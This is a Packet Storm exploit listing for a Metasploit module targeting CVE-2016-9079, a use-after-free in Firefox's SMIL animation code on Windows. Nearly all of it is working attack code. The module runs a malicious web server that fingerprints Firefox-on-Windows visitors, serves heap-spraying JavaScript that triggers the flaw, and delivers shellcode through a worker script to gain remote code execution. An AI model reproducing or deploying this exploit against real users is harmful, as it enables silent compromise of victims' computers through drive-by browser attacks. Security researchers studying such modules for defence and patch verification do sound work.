Lucene search

K
packetstormAnonymous GaijinPACKETSTORM:140696
HistoryJan 24, 2017 - 12:00 a.m.

Firefox nsSMILTimeContainer::NotifyTimeChange() Remote Code Execution

2017-01-2400:00:00
Anonymous Gaijin
packetstormsecurity.com
51

0.963 High

EPSS

Percentile

99.4%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Firefox nsSMILTimeContainer::NotifyTimeChange() RCE",  
'Description' => %q{  
This module exploits an out-of-bounds indexing/use-after-free condition present in  
nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox  
on Microsoft Windows.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Anonymous Gaijin', # Original research/exploit  
'William Webb <william_webb[at]rapid7.com>' # Metasploit module  
],  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Mozilla Firefox',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
}  
],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => "thread",  
'InitialAutoRunScript' => 'migrate -f'  
},  
'References' =>  
[  
[ 'CVE', '2016-9079' ],  
[ 'Bugzilla', '1321066' ]  
],  
'Arch' => ARCH_X86,  
'DisclosureDate' => "Nov 30 2016",  
'DefaultTarget' => 0  
)  
)  
register_options(  
[  
OptBool.new('UsePostHTML', [ true, 'Rewrite page with arbitrary HTML after successful exploitation. NOTE: if set to true, you should probably rewrite data/exploits/ff_smil_uaf/post.html to something useful!', false ]),  
], self.class  
)  
end  
  
def exploit_html(cli)  
p = payload.encoded  
arch = Rex::Arch.endian(target.arch)  
payload_final = Rex::Text.to_unescape(p, arch, prefix='\\u')  
base_uri = "#{get_resource.chomp('/')}"  
  
# stuff that gets adjusted alot during testing  
  
defrag_x = %Q~  
for (var i = 0; i < 0x4000; i++)  
heap80[i] = block80.slice(0)  
~  
defrag_y = %Q~  
for (var i = 0x4401; i < heap80.length; i++)  
heap80[i] = block80.slice(0)  
~  
  
js = %Q~  
var worker = new Worker('#{base_uri}/worker.js');  
var svgns = 'http://www.w3.org/2000/svg';  
var heap80 = new Array(0x5000);  
var heap100 = new Array(0x5000);  
var block80 = new ArrayBuffer(0x80);  
var block100 = new ArrayBuffer(0x100);  
var sprayBase = undefined;  
var arrBase = undefined;  
  
var animateX = undefined;  
var containerA = undefined;  
  
var milestone_offset = 0x90;  
  
var $ = function(id) { return document.getElementById(id); }  
  
var heap = function()  
{  
var u32 = new Uint32Array(block80)  
  
u32[4] = arrBase - milestone_offset;  
  
u32[0xa] = arrBase + 0x1000 - milestone_offset;  
  
u32[0x10] = arrBase + 0x2000 - milestone_offset;  
  
var x = document.createElementNS(svgns, 'animate')  
var svg = document.createElementNS(svgns, 'svg')  
  
svg.appendChild(x)  
svg.appendChild(x.cloneNode(true))  
  
for (var i = 0; i < 0x400; i++)  
{  
var node = svg.cloneNode(true);  
node.setAttribute('id', 'svg' + i)  
document.body.appendChild(node);  
}  
#{defrag_x}  
  
for (var i = 0; i < 0x400; i++)  
{  
heap80[i + 0x3000] = block80.slice(0)  
$('svg' + i).appendChild(x.cloneNode(true))  
}  
  
for (var i = 0; i < 0x400; i++)  
{  
$('svg' + i).appendChild(x.cloneNode(true))  
$('svg' + i).appendChild(x.cloneNode(true))  
}  
  
for (var i = 0; i < heap100.length; i++)  
heap100[i] = block100.slice(0)  
  
#{defrag_y}  
  
for (var i = 0x100; i < 0x400; i++)  
$('svg' + i).appendChild(x.cloneNode(true))  
}  
  
var exploit = function()  
{  
heap();  
  
animateX.setAttribute('begin', '59s')  
animateX.setAttribute('begin', '58s')  
animateX.setAttribute('begin', '10s')  
animateX.setAttribute('begin', '9s')  
  
// money shot  
  
containerA.pauseAnimations();  
}  
  
worker.onmessage = function(e)  
{  
worker.onmessage = function(e)  
{  
window.setTimeout(function()  
{  
worker.terminate();  
document.body.innerHTML = '';  
document.getElementsByTagName('head')[0].innerHTML = '';  
document.body.setAttribute('onload', '')  
document.write('<blink>')  
}, 1000);  
}  
  
arrBase = e.data;  
exploit();  
}  
  
  
var idGenerator = function()  
{  
return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1);  
}  
  
  
var craftDOM = function()  
{  
containerA = document.createElementNS(svgns, 'svg')  
var containerB = document.createElementNS(svgns, 'svg');  
  
animateX = document.createElementNS(svgns, 'animate')  
var animateA = document.createElementNS(svgns, 'animate')  
var animateB = document.createElementNS(svgns, 'animate')  
  
var animateC = document.createElementNS(svgns, 'animate')  
  
var idX = idGenerator();  
var idA = idGenerator();  
var idB = idGenerator();  
var idC = idGenerator();  
  
animateX.setAttribute('id', idX);  
animateA.setAttribute('id', idA);  
animateA.setAttribute('end', '50s');  
animateB.setAttribute('id', idB);  
animateB.setAttribute('begin', '60s');  
animateB.setAttribute('end', idC + '.end');  
animateC.setAttribute('id', idC);  
animateC.setAttribute('begin', '10s');  
animateC.setAttribute('end', idA + '.end');  
  
containerA.appendChild(animateX)  
containerA.appendChild(animateA)  
containerA.appendChild(animateB)  
  
containerB.appendChild(animateC)  
  
document.body.appendChild(containerA);  
document.body.appendChild(containerB);  
}  
window.onload = craftDOM;  
~  
  
# If you want to change the appearance of the landing page, do it here  
  
html = %Q~  
<html>  
<head>  
<meta charset="utf-8"/>  
<script>  
#{js}  
</script>  
</head>  
<body>  
</body>  
</html>  
~  
  
if datastore['UsePostHTML']  
f = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "post.html"), "rb")  
c = f.read  
html = html.gsub("<blink>", c)  
else  
html = html.gsub("<blink>", "")  
end  
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })  
end  
  
def worker_js(cli)  
p = payload.encoded  
arch = Rex::Arch.endian(target.arch)  
payload = Rex::Text.to_unescape(p, arch)  
wt = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "worker.js"), "rb")  
c = wt.read  
c = c.gsub("INSERTSHELLCODEHEREPLZ", payload)  
c = c.gsub("NOPSGOHERE", "\u9090")  
send_response(cli, c, { 'Content-Type' => 'application/javascript', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })  
end  
  
def is_ff_on_windows(user_agent)  
target_hash = fingerprint_user_agent(user_agent)  
if target_hash[:ua_name] !~ /Firefox/ or target_hash[:os_name] !~ /Windows/  
return false  
end  
return true  
end  
  
def on_request_uri(cli, request)  
print_status("Got request: #{request.uri}")  
print_status("From: #{request.headers['User-Agent']}")  
if (!is_ff_on_windows(request.headers['User-Agent']))  
print_error("Unsupported user agent: #{request.headers['User-Agent']}")  
send_not_found(cli)  
close_client(cli)  
return  
end  
if request.uri =~ /worker\.js/  
print_status("Sending worker thread Javascript ...")  
worker_js(cli)  
return  
end  
if request.uri =~ /index\.html/ or request.uri =~ /\//  
  
print_status("Sending exploit HTML ...")  
exploit_html(cli)  
close_client(cli)  
return  
end  
end  
end  
`